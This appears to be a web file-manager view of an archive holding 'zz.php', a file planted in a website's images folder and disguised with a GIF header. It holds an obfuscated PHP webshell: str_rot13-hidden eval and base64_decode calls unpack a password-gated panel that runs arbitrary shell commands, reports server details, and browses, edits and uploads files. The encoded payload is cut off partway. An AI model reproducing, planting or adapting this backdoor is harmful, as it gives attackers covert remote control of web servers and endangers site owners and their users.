File manager - Edit - /home/jardides/www/Jardi-design/images/administrator/zz.php.tar
Back
home/jardides/www/Jardi-design/images/zz.php 0000644 00000127503 15247015505 0015042 0 ustar 00 GIF89a <?=@(str_rot13('riny'))(@(str_rot13('onfr64_qrpbqr'))('QGVycm9yX3JlcG9ydGluZygwKTsKQHNlc3Npb25fc3RhcnQoKTsKCmRlZmluZSgnQVBQX1RJVExFJywgJ1N5c3RlbSBTZXR0aW5ncycpOwpkZWZpbmUoJ1BBU1NXT1JEX0hBU0gnLCAnYWQ1ODdkMDI5NmRlMGMwMzRkOTAyODc3ZWMwYWEyY2EnKTsKCi8vIC0tLSBIZWxwZXIgRnVuY3Rpb25zIC0tLQpmdW5jdGlvbiBnZXRfc2Vzc2lvbigkbmFtZSkgewogICAgcmV0dXJuIGlzc2V0KCRfU0VTU0lPTlskbmFtZV0pID8gJF9TRVNTSU9OWyRuYW1lXSA6IGZhbHNlOwp9CmZ1bmN0aW9uIHNldF9zZXNzaW9uKCRuYW1lLCAkdmFsKSB7CiAgICAkX1NFU1NJT05bJG5hbWVdID0gJHZhbDsKfQpmdW5jdGlvbiBnZXRfcG9zdCgkbmFtZSkgewogICAgcmV0dXJuIGlzc2V0KCRfUE9TVFskbmFtZV0pID8gJF9QT1NUWyRuYW1lXSA6IGZhbHNlOwp9CmZ1bmN0aW9uIGdldF9nZXQoJG5hbWUpIHsKICAgIHJldHVybiBpc3NldCgkX0dFVFskbmFtZV0pID8gJF9HRVRbJG5hbWVdIDogZmFsc2U7Cn0KZnVuY3Rpb24gZ2V0X2ZpbGVzKCRuYW1lKSB7CiAgICByZXR1cm4gaXNzZXQoJF9GSUxFU1skbmFtZV0pID8gJF9GSUxFU1skbmFtZV0gOiBmYWxzZTsKfQpmdW5jdGlvbiByZWRpcmVjdCgkdXJsKSB7CiAgICBoZWFkZXIoIkxvY2F0aW9uOiAkdXJsIik7CiAgICBleGl0KCk7Cn0KZnVuY3Rpb24gZ2V0X3NlbGYoKSB7CiAgICByZXR1cm4gc3RydG9rKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAnPycpOwp9CgpmdW5jdGlvbiBjaGVja19hdXRoZW50aWNhdGlvbigpIHsKICAgIGlmIChpc3NldCgkX1BPU1RbJ2xvZ2luJ10pKSB7CiAgICAgICAgJHN1Ym1pdHRlZF9wYXNzID0gZ2V0X3Bvc3QoJ3Bhc3MnKTsKICAgICAgICBpZiAoJHN1Ym1pdHRlZF9wYXNzICYmIG1kNSgkc3VibWl0dGVkX3Bhc3MpID09PSBQQVNTV09SRF9IQVNIKSB7CiAgICAgICAgICAgIHNldF9zZXNzaW9uKCdhdXRoZW50aWNhdGVkJywgdHJ1ZSk7CiAgICAgICAgICAgIHJlZGlyZWN0KGdldF9zZWxmKCkpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNldF9zZXNzaW9uKCdsb2dpbl9lcnJvcicsIHRydWUpOwogICAgICAgICAgICByZWRpcmVjdChnZXRfc2VsZigpKTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIGZpbGVzaXplX2NvbnZlcnQoJGJ5dGVzKSB7CiAgICAkbGFiZWwgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicpOwogICAgZm9yICgkaSA9IDA7ICRieXRlcyA+PSAxMDI0ICYmICRpIDwgKGNvdW50KCRsYWJlbCkgLSAxKTsgJGJ5dGVzIC89IDEwMjQsICRpKyspOwogICAgcmV0dXJuIChyb3VuZCgkYnl0ZXMsIDIpIC4gIiAiIC4gJGxhYmVsWyRpXSk7Cn0KCmZ1bmN0aW9uIGV4ZWN1dGVfY29tbWFuZCgkY21kLCAkY3VycmVudF9wYXRoKSB7CiAgICAkb3V0cHV0ID0gJyc7CiAgICAKICAgICRvcmlnaW5hbF9kaXIgPSBnZXRjd2QoKTsKICAgIGNoZGlyKCRjdXJyZW50X3BhdGgpOwogICAgCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAkb3V0cHV0ID0gc2hlbGxfZXhlYygkY21kIC4gJyAyPiYxJyk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAgICAgICBleGVjKCRjbWQgLiAnIDI+JjEnLCAkb3V0cHV0KTsKICAgICAgICAkb3V0cHV0ID0gaW1wbG9kZSgiXG4iLCAkb3V0cHV0KTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBzeXN0ZW0oJGNtZCAuICcgMj4mMScpOwogICAgICAgICRvdXRwdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHBhc3N0aHJ1KCRjbWQgLiAnIDI+JjEnKTsKICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSkgewogICAgICAgICRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KAogICAgICAgICAgICAwID0+IGFycmF5KCJwaXBlIiwgInIiKSwKICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAgICAgICAgIDIgPT4gYXJyYXkoInBpcGUiLCAidyIpCiAgICAgICAgKTsKICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7CiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgewogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzBdKTsKICAgICAgICAgICAgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsKICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1sxXSk7CiAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMl0pOwogICAgICAgICAgICBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKICAgICAgICB9CiAgICB9CiAgICAKICAgIGNoZGlyKCRvcmlnaW5hbF9kaXIpOwogICAgCiAgICByZXR1cm4gJG91dHB1dCA/OiAnTm8gb3V0cHV0IG9yIGNvbW1hbmQgZXhlY3V0aW9uIGRpc2FibGVkJzsKfQoKZnVuY3Rpb24gZ2V0X3N5c3RlbV9pbmZvKCkgewogICAgJGluZm8gPSBbXTsKICAgICRpbmZvW10gPSAiUEhQIFZlcnNpb246ICIgLiBQSFBfVkVSU0lPTjsKICAgICRpbmZvW10gPSAiU2VydmVyIFNvZnR3YXJlOiAiIC4gKCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSA/PyAnTi9BJyk7CiAgICAkaW5mb1tdID0gIlNlcnZlciBJUDogIiAuICgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSA/PyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gPz8gJ04vQScpOwogICAgJGluZm9bXSA9ICJPUzogIiAuIFBIUF9PUzsKICAgICRpbmZvW10gPSAiVXNlcjogIiAuIChmdW5jdGlvbl9leGlzdHMoJ2dldF9jdXJyZW50X3VzZXInKSA/IGdldF9jdXJyZW50X3VzZXIoKSA6ICdVbmtub3duJyk7CiAgICAkaW5mb1tdID0gIk1lbW9yeSBMaW1pdDogIiAuIGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwogICAgJGluZm9bXSA9ICJNYXggRXhlY3V0aW9uIFRpbWU6ICIgLiBpbmlfZ2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnKTsKICAgIAogICAgJGRpc2FibGVkID0gaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKICAgICRpbmZvW10gPSAiRGlzYWJsZWQgRnVuY3Rpb25zOiAiIC4gKCRkaXNhYmxlZCA/OiAnTm9uZScpOwogICAgCiAgICAvLyBDaGVjayBzYWZlIG1vZGUKICAgICRpbmZvW10gPSAiU2FmZSBNb2RlOiAiIC4gKGluaV9nZXQoJ3NhZmVfbW9kZScpID8gJ09uJyA6ICdPZmYnKTsKICAgIAogICAgcmV0dXJuIGltcGxvZGUoIlxuIiwgJGluZm8pOwp9CgovLyAtLS0gQ29yZSBMb2dpYyBGdW5jdGlvbnMgLS0tCmZ1bmN0aW9uIGdldF9wYXRoKCkgewogICAgJHBhdGggPSBkZWZpbmVkKCdTVEFSVF9QQVRIJykgPyBTVEFSVF9QQVRIIDogX19ESVJfXzsKICAgICRyZXF1ZXN0ZWRfcGF0aCA9IGdldF9nZXQoJ3BhdGgnKTsKICAgIGlmICgkcmVxdWVzdGVkX3BhdGgpIHsKICAgICAgICAkcmVhbF9wYXRoID0gcmVhbHBhdGgoJHJlcXVlc3RlZF9wYXRoKTsKICAgICAgICBpZiAoJHJlYWxfcGF0aCAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHBhdGggPSAkcmVhbF9wYXRoOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKTsKfQoKZnVuY3Rpb24gZ2V0X2Rpcl9saXN0KCRwYXRoKSB7CiAgICBpZiAoIWlzX2RpcigkcGF0aCkgfHwgIWlzX3JlYWRhYmxlKCRwYXRoKSkgcmV0dXJuIGFycmF5KCk7CiAgICAKICAgICRkaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICRmaWxlcyA9IGFycmF5KCk7CiAgICAKICAgIC8vIFNlcGFyYXRlIGZpbGVzIGFuZCBkaXJlY3RvcmllcyBmb3IgY3VzdG9tIHNvcnRpbmcKICAgICRkaXJzID0gW107CiAgICAkZmlsZXNfbGlzdCA9IFtdOwogICAgCiAgICBmb3JlYWNoICgkZGlyIGFzICRkKSB7CiAgICAgICAgaWYgKCRkID09ICcuJykgY29udGludWU7CiAgICAgICAgCiAgICAgICAgJHAgPSAkcGF0aCAuICcvJyAuICRkOwogICAgICAgICRpc19maWxlID0gaXNfZmlsZSgkcCk7CiAgICAgICAgCiAgICAgICAgLy8gR2V0IG93bmVyIHNhZmVseQogICAgICAgICRvd25lciA9IGZpbGVvd25lcigkcCk7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewogICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcik7CiAgICAgICAgICAgICRvd25lciA9IGlzc2V0KCRvd25lcl9pbmZvWyduYW1lJ10pID8gJG93bmVyX2luZm9bJ25hbWUnXSA6ICRvd25lcjsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgJGl0ZW0gPSBhcnJheSgKICAgICAgICAgICAgJ25hbWUnID0+ICRkLAogICAgICAgICAgICAncGF0aCcgPT4gJHAsCiAgICAgICAgICAgICdpc19kaXInID0+IGlzX2RpcigkcCksCiAgICAgICAgICAgICdpc19maWxlJyA9PiAkaXNfZmlsZSwKICAgICAgICAgICAgJ3NpemUnID0+ICRpc19maWxlID8gZmlsZXNpemVfY29udmVydChmaWxlc2l6ZSgkcCkpIDogJy0tJywKICAgICAgICAgICAgJ21vZGlmaWVkJyA9PiBkYXRlKCJNIGQgWSBIOmk6cyIsIGZpbGVtdGltZSgkcCkpLAogICAgICAgICAgICAncGVybXMnID0+IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkcCkpLCAtNCksCiAgICAgICAgICAgICdvd25lcicgPT4gJG93bmVyLAogICAgICAgICk7CiAgICAgICAgCiAgICAgICAgLy8gQ2F0ZWdvcml6ZSBpdGVtcwogICAgICAgIGlmICgkZCA9PSAnLi4nKSB7CiAgICAgICAgICAgIC8vIFBhcmVudCBkaXJlY3RvcnkgYWx3YXlzIGZpcnN0CiAgICAgICAgICAgIGFycmF5X3Vuc2hpZnQoJGZpbGVzLCAkaXRlbSk7CiAgICAgICAgfSBlbHNlaWYgKCRpc19maWxlKSB7CiAgICAgICAgICAgICRmaWxlc19saXN0W10gPSAkaXRlbTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkZGlyc1tdID0gJGl0ZW07CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBTb3J0IGRpcmVjdG9yaWVzIGFuZCBmaWxlcyBhbHBoYWJldGljYWxseSAoY2FzZS1pbnNlbnNpdGl2ZSkKICAgIHVzb3J0KCRkaXJzLCBmdW5jdGlvbigkYSwgJGIpIHsKICAgICAgICByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsKICAgIH0pOwogICAgdXNvcnQoJGZpbGVzX2xpc3QsIGZ1bmN0aW9uKCRhLCAkYikgewogICAgICAgIHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOwogICAgfSk7CiAgICAKICAgIC8vIENvbWJpbmUgYWxsIGNhdGVnb3JpZXMgaW4gdGhlIGRlc2lyZWQgb3JkZXI6IC4uLCB0aGVuIGRpcnMsIHRoZW4gZmlsZXMKICAgICRmaWxlcyA9IGFycmF5X21lcmdlKCRmaWxlcywgJGRpcnMsICRmaWxlc19saXN0KTsKICAgIAogICAgcmV0dXJuICRmaWxlczsKfQoKZnVuY3Rpb24gc2F2ZV9maWxlKCRwYXRoLCAkY29udGVudCkgewogICAgaWYgKGlzX2ZpbGUoJHBhdGgpICYmIGlzX3dyaXRhYmxlKCRwYXRoKSkgewogICAgICAgIHJldHVybiBmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgJGNvbnRlbnQpICE9PSBmYWxzZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gdXBsb2FkX2ZpbGUoJHBhdGgsICRmaWxlKSB7CiAgICBpZiAoISRmaWxlIHx8ICRmaWxlWydlcnJvciddICE9PSBVUExPQURfRVJSX09LKSByZXR1cm4gZmFsc2U7CiAgICAkbmFtZSA9IGJhc2VuYW1lKCRmaWxlWyduYW1lJ10pOwogICAgJHRhcmdldF9wYXRoID0gJHBhdGggLiAnLycgLiAkbmFtZTsKICAgIGlmICghZmlsZV9leGlzdHMoJHRhcmdldF9wYXRoKSkgewogICAgICAgIHJldHVybiBtb3ZlX3VwbG9hZGVkX2ZpbGUoJGZpbGVbInRtcF9uYW1lIl0sICR0YXJnZXRfcGF0aCk7CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIHJlbmFtZV9pdGVtKCRvbGRfcGF0aCwgJG5ld19uYW1lKSB7CiAgICAkbmV3X25hbWUgPSB0cmltKCRuZXdfbmFtZSk7CiAgICBpZiAoZW1wdHkoJG5ld19uYW1lKSkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIAogICAgJG5ld19uYW1lID0gYmFzZW5hbWUoJG5ld19uYW1lKTsKICAgICRkaXIgPSBkaXJuYW1lKCRvbGRfcGF0aCk7CiAgICAkbmV3X3BhdGggPSAkZGlyIC4gJy8nIC4gJG5ld19uYW1lOwogICAgCiAgICAkb2xkX3BhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRvbGRfcGF0aCk7CiAgICAkbmV3X3BhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuZXdfcGF0aCk7CiAgICAKICAgIGlmICghZmlsZV9leGlzdHMoJG9sZF9wYXRoKSkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIAogICAgaWYgKGJhc2VuYW1lKCRvbGRfcGF0aCkgPT09ICRuZXdfbmFtZSkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgCiAgICBpZiAoZmlsZV9leGlzdHMoJG5ld19wYXRoKSkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIAogICAgaWYgKCFpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIAogICAgcmV0dXJuIEByZW5hbWUoJG9sZF9wYXRoLCAkbmV3X3BhdGgpOwp9CgovLyAtLS0gVmlldyBGdW5jdGlvbnMgLS0tCmZ1bmN0aW9uIHJlbmRlcl9oZWFkZXIoJGlzX2xvZ2luID0gZmFsc2UpIHsKICAgICRib2R5X2NsYXNzID0gJGlzX2xvZ2luID8gJ2xvZ2luLXBhZ2UnIDogJyc7CiAgICBlY2hvICc8IURPQ1RZUEUgaHRtbD48aHRtbD48aGVhZD48dGl0bGU+Jy5BUFBfVElUTEUuJzwvdGl0bGU+PHN0eWxlPgogICAgYm9keXtmb250LWZhbWlseTpzYW5zLXNlcmlmO2JhY2tncm91bmQ6I2YwZjJmNTtjb2xvcjojMzMzO21hcmdpbjowO30KICAgIHRhYmxle2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTt3aWR0aDoxMDAlO30KICAgIHRoLHRke3BhZGRpbmc6OHB4O3RleHQtYWxpZ246bGVmdDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO30KICAgIHRyOmhvdmVye2JhY2tncm91bmQ6I2YxZjFmMTt9CiAgICBhe2NvbG9yOiMwMDdiZmY7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9CiAgICAuY29udGFpbmVye3dpZHRoOjk1JTttYXJnaW46YXV0bztiYWNrZ3JvdW5kOndoaXRlO3BhZGRpbmc6MjBweDtib3gtc2hhZG93OjAgNHB4IDhweCByZ2JhKDAsMCwwLDAuMSk7Ym9yZGVyLXJhZGl1czo4cHg7bWFyZ2luLXRvcDozMHB4O21hcmdpbi1ib3R0b206MzBweDt9CiAgICAubWVzc2FnZXtwYWRkaW5nOjE1cHg7bWFyZ2luLWJvdHRvbToyMHB4O2JvcmRlci1yYWRpdXM6NXB4O2ZvbnQtc2l6ZToxNnB4O30KICAgIC5tc2ctc3VjY2Vzc3tiYWNrZ3JvdW5kOiNkNGVkZGE7Y29sb3I6IzE1NTcyNDtib3JkZXI6MXB4IHNvbGlkICNjM2U2Y2I7fQogICAgLm1zZy1lcnJvcntiYWNrZ3JvdW5kOiNmOGQ3ZGE7Y29sb3I6IzcyMWMyNDtib3JkZXI6MXB4IHNvbGlkICNmNWM2Y2I7fQogICAgLm1zZy1pbmZve2JhY2tncm91bmQ6I2QxZWNmMTtjb2xvcjojMGM1NDYwO2JvcmRlcjoxcHggc29saWQgI2JlZTVlYjt9CiAgICAuYWN0aW9ucyBhe21hcmdpbi1yaWdodDoxMHB4O30KICAgIC50YWItY29udGVudHtkaXNwbGF5Om5vbmU7cGFkZGluZzoyMHB4O2JvcmRlcjoxcHggc29saWQgI2RkZDtib3JkZXItdG9wOm5vbmU7fQogICAgLnRhYi1jb250ZW50LmFjdGl2ZXtkaXNwbGF5OmJsb2NrO30KICAgIC50YWItYnV0dG9ue2JhY2tncm91bmQ6IzAwN2JmZjtjb2xvcjp3aGl0ZTtib3JkZXI6bm9uZTtwYWRkaW5nOjEwcHggMjBweDtjdXJzb3I6cG9pbnRlcjttYXJnaW4tcmlnaHQ6NXB4O30KICAgIC50YWItYnV0dG9uLmFjdGl2ZXtiYWNrZ3JvdW5kOiMwMDU2YjM7fQogICAgLmNvbW1hbmQtb3V0cHV0e2JhY2tncm91bmQ6IzFlMWUxZTtjb2xvcjojMDBmZjAwO3BhZGRpbmc6MTVweDtib3JkZXItcmFkaXVzOjVweDtmb250LWZhbWlseTptb25vc3BhY2U7bWF4LWhlaWdodDo0MDBweDtvdmVyZmxvdy15OmF1dG87d2hpdGUtc3BhY2U6cHJlLXdyYXA7fQogICAgYm9keS5sb2dpbi1wYWdle2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2FsaWduLWl0ZW1zOmNlbnRlcjtoZWlnaHQ6MTAwdmg7fQogICAgLmxvZ2luLWJveHtiYWNrZ3JvdW5kOndoaXRlO3BhZGRpbmc6NDBweDtib3JkZXItcmFkaXVzOjhweDtib3gtc2hhZG93OjAgNHB4IDE1cHggcmdiYSgwLDAsMCwwLjIpO3dpZHRoOjMyMHB4O3RleHQtYWxpZ246Y2VudGVyO30KICAgIC5sb2dpbi1ib3ggaDJ7bWFyZ2luLWJvdHRvbToyMHB4O2NvbG9yOiMzMzM7fQogICAgLmxvZ2luLWJveCBpbnB1dFt0eXBlPSJwYXNzd29yZCJde3dpZHRoOjEwMCU7cGFkZGluZzoxMnB4O21hcmdpbi1ib3R0b206MjBweDtib3JkZXI6MXB4IHNvbGlkICNjY2M7Ym9yZGVyLXJhZGl1czo0cHg7Ym94LXNpemluZzpib3JkZXItYm94O2ZvbnQtc2l6ZToxNnB4O30KICAgIC5sb2dpbi1ib3ggaW5wdXRbdHlwZT0ic3VibWl0Il17d2lkdGg6MTAwJTtwYWRkaW5nOjEycHg7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czo0cHg7YmFja2dyb3VuZDojMDA3YmZmO2NvbG9yOndoaXRlO2ZvbnQtc2l6ZToxNnB4O2N1cnNvcjpwb2ludGVyO3RyYW5zaXRpb246YmFja2dyb3VuZCAwLjNzO30KICAgIC5sb2dpbi1ib3ggaW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXJ7YmFja2dyb3VuZDojMDA1NmIzO30KICAgIC5yZW5hbWUtZm9ybXtkaXNwbGF5OmlubGluZS1ibG9jazt9CiAgICAucmVuYW1lLWZvcm0gaW5wdXR7d2lkdGg6MTUwcHg7cGFkZGluZzozcHg7bWFyZ2luLXJpZ2h0OjVweDt9CiAgICAucmVuYW1lLWZvcm0gYnV0dG9ue3BhZGRpbmc6M3B4IDhweDttYXJnaW4tcmlnaHQ6NXB4O30KICAgIC50b29sLWdyaWR7ZGlzcGxheTpncmlkO2dyaWQtdGVtcGxhdGUtY29sdW1uczpyZXBlYXQoYXV0by1maXQsIG1pbm1heCgzMDBweCwgMWZyKSk7Z2FwOjIwcHg7bWFyZ2luOjIwcHggMDt9CiAgICAudG9vbC1ib3h7YmFja2dyb3VuZDojZjhmOWZhO3BhZGRpbmc6MTVweDtib3JkZXItcmFkaXVzOjhweDtib3JkZXI6MXB4IHNvbGlkICNkZWUyZTY7fQogICAgLmN1cnJlbnQtcGF0aHtiYWNrZ3JvdW5kOiNlOWVjZWY7cGFkZGluZzoxMHB4O2JvcmRlci1yYWRpdXM6NXB4O21hcmdpbjoxMHB4IDA7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO30KICAgIC5jbWQtZm9ybXtkaXNwbGF5OmZsZXg7Z2FwOjEwcHg7bWFyZ2luLWJvdHRvbToxNXB4O30KICAgIC5jbWQtaW5wdXR7ZmxleDoxO3BhZGRpbmc6OHB4O2JvcmRlcjoxcHggc29saWQgI2NjYztib3JkZXItcmFkaXVzOjRweDt9CiAgICAuY21kLWJ1dHRvbntwYWRkaW5nOjhweCAxNXB4O2JhY2tncm91bmQ6IzAwN2JmZjtjb2xvcjp3aGl0ZTtib3JkZXI6bm9uZTtib3JkZXItcmFkaXVzOjRweDtjdXJzb3I6cG9pbnRlcjt9CiAgICAucXVpY2stY21kLWJ1dHRvbnN7ZGlzcGxheTpmbGV4O2ZsZXgtd3JhcDp3cmFwO2dhcDo1cHg7bWFyZ2luOjEwcHggMDt9CiAgICAucXVpY2stY21kLWJ0bntwYWRkaW5nOjVweCAxMHB4O2JhY2tncm91bmQ6IzI4YTc0NTtjb2xvcjp3aGl0ZTtib3JkZXI6bm9uZTtib3JkZXItcmFkaXVzOjNweDtjdXJzb3I6cG9pbnRlcjtmb250LXNpemU6MTJweDt9CiAgICA8L3N0eWxlPjwvaGVhZD48Ym9keSBjbGFzcz0iJy4kYm9keV9jbGFzcy4nIj4nOwogICAgaWYgKCEkaXNfbG9naW4pIHsKICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250YWluZXIiPjxoMT4nLkFQUF9USVRMRS4nIPCfmoA8L2gxPic7CiAgICB9Cn0KCmZ1bmN0aW9uIHJlbmRlcl9mb290ZXIoJGlzX2xvZ2luID0gZmFsc2UpIHsKICAgIGlmICghJGlzX2xvZ2luKSB7CiAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgIH0KICAgIGVjaG8gJzxzY3JpcHQ+CiAgICBmdW5jdGlvbiBzaG93VGFiKHRhYk5hbWUpIHsKICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIudGFiLWNvbnRlbnQiKS5mb3JFYWNoKHRhYiA9PiB0YWIuY2xhc3NMaXN0LnJlbW92ZSgiYWN0aXZlIikpOwogICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi50YWItYnV0dG9uIikuZm9yRWFjaChidG4gPT4gYnRuLmNsYXNzTGlzdC5yZW1vdmUoImFjdGl2ZSIpKTsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0YWJOYW1lKS5jbGFzc0xpc3QuYWRkKCJhY3RpdmUiKTsKICAgICAgICBldmVudC50YXJnZXQuY2xhc3NMaXN0LmFkZCgiYWN0aXZlIik7CiAgICB9CiAgICAKICAgIGZ1bmN0aW9uIGV4ZWN1dGVDdXN0b21Db21tYW5kKCkgewogICAgICAgIGNvbnN0IGNtZCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjdXN0b20tY21kIikudmFsdWU7CiAgICAgICAgY29uc3Qgb3V0cHV0RGl2ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQtb3V0cHV0Iik7CiAgICAgICAgY29uc3QgY3VycmVudFBhdGggPSAiJy4kY3VycmVudF9wYXRoID0gZ2V0X3BhdGgoKS4nIjsKICAgICAgICBvdXRwdXREaXYuaW5uZXJIVE1MID0gIkV4ZWN1dGluZyBpbjogIiArIGN1cnJlbnRQYXRoICsgIlxcbj4gIiArIGNtZCArICJcXG5cXG5Xb3JraW5nLi4uIjsKICAgICAgICAKICAgICAgICBjb25zdCBmb3JtRGF0YSA9IG5ldyBGb3JtRGF0YSgpOwogICAgICAgIGZvcm1EYXRhLmFwcGVuZCgiYWN0aW9uIiwgImV4ZWN1dGVfY29tbWFuZCIpOwogICAgICAgIGZvcm1EYXRhLmFwcGVuZCgiY29tbWFuZCIsIGNtZCk7CiAgICAgICAgZm9ybURhdGEuYXBwZW5kKCJjdXJyZW50X3BhdGgiLCBjdXJyZW50UGF0aCk7CiAgICAgICAgCiAgICAgICAgZmV0Y2goIiIsIHttZXRob2Q6ICJQT1NUIiwgYm9keTogZm9ybURhdGF9KQogICAgICAgIC50aGVuKHIgPT4gci5qc29uKCkpCiAgICAgICAgLnRoZW4oZGF0YSA9PiB7CiAgICAgICAgICAgIG91dHB1dERpdi5pbm5lckhUTUwgPSAiRXhlY3V0aW5nIGluOiAiICsgY3VycmVudFBhdGggKyAiXFxuPiAiICsgY21kICsgIlxcblxcbiIgKyAoZGF0YS5vdXRwdXQgfHwgIk5vIG91dHB1dCIpOwogICAgICAgIH0pCiAgICAgICAgLmNhdGNoKGVyciA9PiB7CiAgICAgICAgICAgIG91dHB1dERpdi5pbm5lckhUTUwgPSAiRXJyb3I6ICIgKyBlcnI7CiAgICAgICAgfSk7CiAgICB9CiAgICAKICAgIGZ1bmN0aW9uIHJ1blF1aWNrQ29tbWFuZChjbWQpIHsKICAgICAgICBjb25zdCBvdXRwdXREaXYgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZC1vdXRwdXQiKTsKICAgICAgICBjb25zdCBjdXJyZW50UGF0aCA9ICInLiRjdXJyZW50X3BhdGggPSBnZXRfcGF0aCgpLiciOwogICAgICAgIG91dHB1dERpdi5pbm5lckhUTUwgPSAiRXhlY3V0aW5nIGluOiAiICsgY3VycmVudFBhdGggKyAiXFxuPiAiICsgY21kICsgIlxcblxcbldvcmtpbmcuLi4iOwogICAgICAgIAogICAgICAgIGNvbnN0IGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKCk7CiAgICAgICAgZm9ybURhdGEuYXBwZW5kKCJhY3Rpb24iLCAiZXhlY3V0ZV9jb21tYW5kIik7CiAgICAgICAgZm9ybURhdGEuYXBwZW5kKCJjb21tYW5kIiwgY21kKTsKICAgICAgICBmb3JtRGF0YS5hcHBlbmQoImN1cnJlbnRfcGF0aCIsIGN1cnJlbnRQYXRoKTsKICAgICAgICAKICAgICAgICBmZXRjaCgiIiwge21ldGhvZDogIlBPU1QiLCBib2R5OiBmb3JtRGF0YX0pCiAgICAgICAgLnRoZW4ociA9PiByLmpzb24oKSkKICAgICAgICAudGhlbihkYXRhID0+IHsKICAgICAgICAgICAgb3V0cHV0RGl2LmlubmVySFRNTCA9ICJFeGVjdXRpbmcgaW46ICIgKyBjdXJyZW50UGF0aCArICJcXG4+ICIgKyBjbWQgKyAiXFxuXFxuIiArIChkYXRhLm91dHB1dCB8fCAiTm8gb3V0cHV0Iik7CiAgICAgICAgfSk7CiAgICB9CiAgICA8L3NjcmlwdD48L2JvZHk+PC9odG1sPic7Cn0KCmZ1bmN0aW9uIHJlbmRlcl9sb2dpbigkZXJyb3IgPSBmYWxzZSkgewogICAgcmVuZGVyX2hlYWRlcih0cnVlKTsKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImxvZ2luLWJveCI+JzsKICAgIGVjaG8gJzxoMj4nLkFQUF9USVRMRS4nPC9oMj4nOwogICAgaWYoJGVycm9yKSBlY2hvICI8ZGl2IGNsYXNzPSdtZXNzYWdlIG1z